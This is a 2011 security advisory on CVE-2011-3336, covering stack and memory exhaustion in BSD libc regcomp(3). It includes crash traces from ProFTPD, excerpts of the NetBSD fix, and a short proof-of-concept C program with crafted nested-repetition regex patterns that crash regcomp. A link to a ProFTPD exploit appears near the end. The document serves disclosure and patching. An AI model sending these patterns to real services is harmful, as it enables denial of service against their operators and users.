-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz
http://www.netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

Date:
- - Dis.: 05.10.2011
- - Pub.: 04.11.2011

CVE: CVE-2011-3336

Affected Software:
- - NetBSD 5.1 (fixed)
- - OpenBSD 5.0
- - FreeBSD 8.2
- - MacOSX


Original URL:
http://securityreason.com/achievement_securityalert/102


- --- 0.Description ---
regcomp() compiles the regular expression contained in the pattern
string, subject to the flags in cflags, and places the results in the
regex_t structure pointed to by preg.

cflags is the bitwise OR of zero or more of the following flags:

REG_EXTENDED
Compile modern (extended) REs, rather than the obsolete (basic) REs that
are the default.

REG_BASIC
This is a synonym for 0, provided as a counterpart to REG_EXTENDED to
improve readability.


- --- 1.  Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ---
In regcomp(3) of BSD implementation, i've discovered a several flaws.
Similar problem was diagnosed one year ago in GNU libc (01.10.2010). But
GNU regcomp() code is different from BSD.

Recursion and bad memory managment, may admit to unexpected end of
application. Together with NetBSD we have decided to fix all these
flaws. Most important was limit of recursion for REG_EXTENDED and
REG_BASIC, and get better control over memory usage.

Specifically crafted .ftpaccess file can return result as below
- -proftpd---
# telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.3.3f Server (ProFTPD Default Installation) [127.0.0.1]
user dude
331 Password required for dude
pass dude

and in the same time

# gdb -q proftpd 15814
(no debugging symbols found)
Attaching to program: /usr/local/sbin/proftpd, process 15814
Reading symbols from /usr/lib/libutil.so.11.2...done.
Loaded symbols for /usr/lib/libutil.so.11.2
Reading symbols from /usr/lib/libc.so.58.0...done.
Loaded symbols for /usr/lib/libc.so.58.0
Reading symbols from /usr/libexec/ld.so...done.
Loaded symbols for /usr/libexec/ld.so
0x001f39e9 in select () from /usr/lib/libc.so.58.0
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0026d951 in memcpy () from /usr/lib/libc.so.58.0

crash in regcomp()

...
  assert(finish >= start);
  if (len == 0)
    return(ret);
  enlarge(p, p->ssize + len);  /* this many unexpected additions */
  assert(p->ssize >= p->slen + len);
  (void)memcpy(p->strip + p->slen, p->strip + start,
      (size_t)len * sizeof(sop));
...
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
...
- -proftpd---


Uncontrolled memory exhaustion, allow to create an RE consuming all free
memory. As we can read in manual:

- -man regcomp 3--
regexec() performance is poor.  This will improve with later releases.
nmatch exceeding 0 is expensive; nmatch exceeding 1 is worse.
regexec is largely insensitive to RE complexity except that back
references are massively expensive.  RE length does matter; in
particular, there is a strong speed bonus for keeping RE length under
about 30 characters, with most special characters counting roughly double.

regcomp() implements bounded repetitions by macro expansion, which is
costly in time and space if counts are large or bounded repetitions are
nested.  An RE like, say, `((((a{1,100}){1,100}){1,100}){1,100}){1,100}'
will (eventually) run almost any existing machine out of swap space.
- -man regcomp 3--

Using RE like `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' may lead to
out of swap space. It can be helpful to attack last stable version of
proftpd.

To fix memory exhaustion problem, we should create some limit of memory
usage. In my opinion 128MB is optimal limit for one regcomp(3) call.
Then function, checking memory usage like below

- -part-of-fix--
214: #define        MEMLIMIT        0x8000000
215: #define MEMSIZE(p) \
216:        ((p)->ncsalloc / CHAR_BIT * (p)->g->csetsize + \
217:        (p)->ncsalloc * sizeof(cset) + \
218:        (p)->ssize * sizeof(sop))
219: #define        RECLIMIT        256
- -part-of-fix--

should solve problem with memory exhaustion.

In regcomp() we have a few recursion loops:
- - p_ere <> p_ere_exp
- - p_bre <> p_bre_exp
- - repeat

We need to create a limit for the two main functions p_ere and p_bre_exp

#define  RECLIMIT  256

- -REG_EXTENTED---
341: p_ere(
342:     struct parse *p,
343:     int stop,                  /* character this ERE should end at */
344:     size_t reclimit)
345: {
...
351:
352:        _DIAGASSERT(p != NULL);
353:
354:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
355:                p->error = REG_ESPACE;
356:                return;
357:        }
358:
359:        for (;;) {
360:                /* do a bunch of concatenated expressions */
361:                conc = HERE();
362:                while (MORE() && (c = PEEK()) != '|' && c != stop)
363:                        p_ere_exp(p, reclimit); <=== RECURSION
p_ere_exp <> p_ere
...
394: static void
395: p_ere_exp(
396:     struct parse *p,
397:     size_t reclimit)
398: {
...
420:                if (!SEE(')'))
421:                        p_ere(p, ')', reclimit); <=== RECURSION
p_ere <> p_ere_exp
...
- -REG_EXTENTED---

and adding code like:

+  if (reclimit++ > RECLIMIT)
+    p->error = REG_ESPACE;
+  if (p->error)
     return;

should protect us before huge complexity for REG_EXTENTED and REG_BASIC.

The same limit implements to p_bre:
- -REG_BASIC---
...
570: static void
571: p_bre(
572:     struct parse *p,
573:     int end1,          /* first terminating character */
574:     int end2,          /* second terminating character */
575:     size_t reclimit)
576: {
577:        sopno start;
578:        int first = 1;                  /* first subexpression? */
579:        int wasdollar = 0;
580:
581:        _DIAGASSERT(p != NULL);
582:
583:        if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {
584:                p->error = REG_ESPACE;
585:                return;
586:        }
587:
...
595:        while (MORE() && !SEETWO(end1, end2)) {
596:                wasdollar = p_simp_re(p, first, reclimit); <===
RECURSION p_bre_exp <> p_bre
597:                first = 0;
...
613: static int                     /* was the simple RE an
unbackslashed $? */
614: p_simp_re(
615:     struct parse *p,
616:     int starordinary,          /* is a leading * an ordinary
character? */
617:     size_t reclimit)
618: {
...
650:        case BACKSL|'(':
651:                p->g->nsub++;
652:                subno = p->g->nsub;
653:                if (subno < NPAREN)
654:                        p->pbegin[subno] = HERE();
655:                EMIT(OLPAREN, subno);
656:                /* the MORE here is an error heuristic */
657:                if (MORE() && !SEETWO('\\', ')'))
658:                        p_bre(p, '\\', ')', reclimit); <===
RECURSION p_bre <> p_bre_exp
...
- -REG_BASIC---

That all about fixes.

For REs like

"(\(\(\(\(\(\(\(\(...)"
"(((...(.*))))"

regcomp() should crash with stack exhaustion symptom

This bug has been used to denial of service proftpd 1.3.3f in openbsd
4.9 and netbsd 5.1. Similar problem has been reported in GNU libc.
Anyway Redhat has decided to not solve the problem:
- ---
Statement:

Red Hat does not consider crash of client application, using regcomp()
or regexec() routines on untrusted input without preliminary checking
the input for the sanity, to be a security issue (the described deficiency
implies and is a known limitation of the glibc regular expression engine
implementation). The expressions can be modified to avoid quantification
nesting, or program modified to limit size of input passed to regular
expression engine. We do not currently plan to fix these flaws. If more
information becomes available at a future date, we may revisit these issues.
- ---

regcomp() is not only used in client application. proftpd uses regcomp()
in .ftpaccess file. Now we should know, who has right? Red Hat or
proftpd has made a mistake using regcomp() in code? GNU need more
information to revisit this issue :)


- --- 2. PoC ---
/* poc.c

pattern1:
./poc '(.?)((((.*){1,100}){1,100}){1,100}){1,100}'

pattern2:
./poc
'(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}'
Memory fault (core dumped)
gdb openbsd 4.9:
1275            (void) memcpy((char *)(p->strip + p->slen),
(gdb) print p->slen
$14 = 218103912
(gdb) print start
$15 = 107
(gdb) print len
$16 = 218103802
(gdb) x/x p->slen
0xd000068:      Cannot access memory at address 0xd000068
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0x02d42951 in memcpy () from /usr/lib/libc.so.58.0
(gdb) x/i $eip
0x2d42951 <memcpy+61>:  repz movsl %ds:(%esi),%es:(%edi)
(gdb) x/x $esi
0xbf3ce190:     0x70000064
(gdb) x/x $edi
0xf33ce184:     Cannot access memory at address 0xf33ce184


and more patterns from
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c

*/
#include <regex.h>
#include <stdio.h>

int
main (int argc, char *argv[])
{
  regex_t preg;
  int a=regcomp(&preg, argv[1], REG_EXTENDED);
  printf("a:%i\n",a);
  return 0;
}


- --- 3. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regcomp.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/engine.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regex2.h

tests:
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/Makefile
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c


- --- 4. References ---
GNU/regcomp() vulnerability
http://www.kb.cert.org/vuls/id/912279
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4051
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4052

Statement:
https://bugzilla.redhat.com/show_bug.cgi?id=645859#c6

Exploit:
tested: ubuntu 11.10 and proftpd 1.3.4rc2
http://cxib.net/stuff/proftpd.gnu.c


- --- 5. Greets ---
Christos Zoulas, sp3x, Infospec

and thanks for US-CERT for coordinating


- --- 6. Contact ---
Author: Maksymilian Arciemowicz

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/

- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@cxib.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJOs++hAAoJEIO8+dzW5bUwl2YP/3outkBGAEnesEWJmxosEoI1
OgJW31rb4qY66ctN3Ib+4yFX93QAUKL0kX7K2pa2FFdP3c+N5cNU0lFOb6QLFZ/g
PrGwmvW0/YxZGynoSsytf0sI5cVoO/EgkqX2/x08Xzl48CDHE+xwZKPV5eFdHFw/
Dhji+PuAPUEmvRfr2qN76xRwGtAIYf5mQz7pvcHUtQuvgBnnNFzZmMDbbTdjxMm6
ZmUWGtG3Yth/VXlEvsdx7ehY98N5qayAVvDtItvWZf08HLNOkwKO0fla0u7Eackb
wiJLim/dc3TxHgmZRN/hyupT0idq9Mt1CQ5pgmiP9UPJaJKUmSZFi+CKYqUO5OKi
5tOkILVJmwKGFnGg+dU5Ulm6WoOR809jn9DnTfR3Pg7j0NoDMcbc/r1Ekoemq55X
hrVfse2nEFxbw7iCRgq4lb7cucpq2+Po/hycdGOkq3/o2eVXa/qwb7EGLcmiMRtM
gk1A/H1X8QG0wHohIdRbpWmTKBHYCXPXCihbdsPZqTTebsjYMoYmv8m4O72PXf6l
aiev8Yl70nzc02B6y8F0cYZt+PC/kMm8TEiLXXmRB/aYYH/IYU32TDmQiT6tKSDf
S0mZyybR9eJfUbtuyaSHSHyqheVfcG3iMurzKOiPMmexVLKx9B1ENbwqdE9Zu4/i
uZXhFALblAvW44nsjVcI
=uCkI
-----END PGP SIGNATURE-----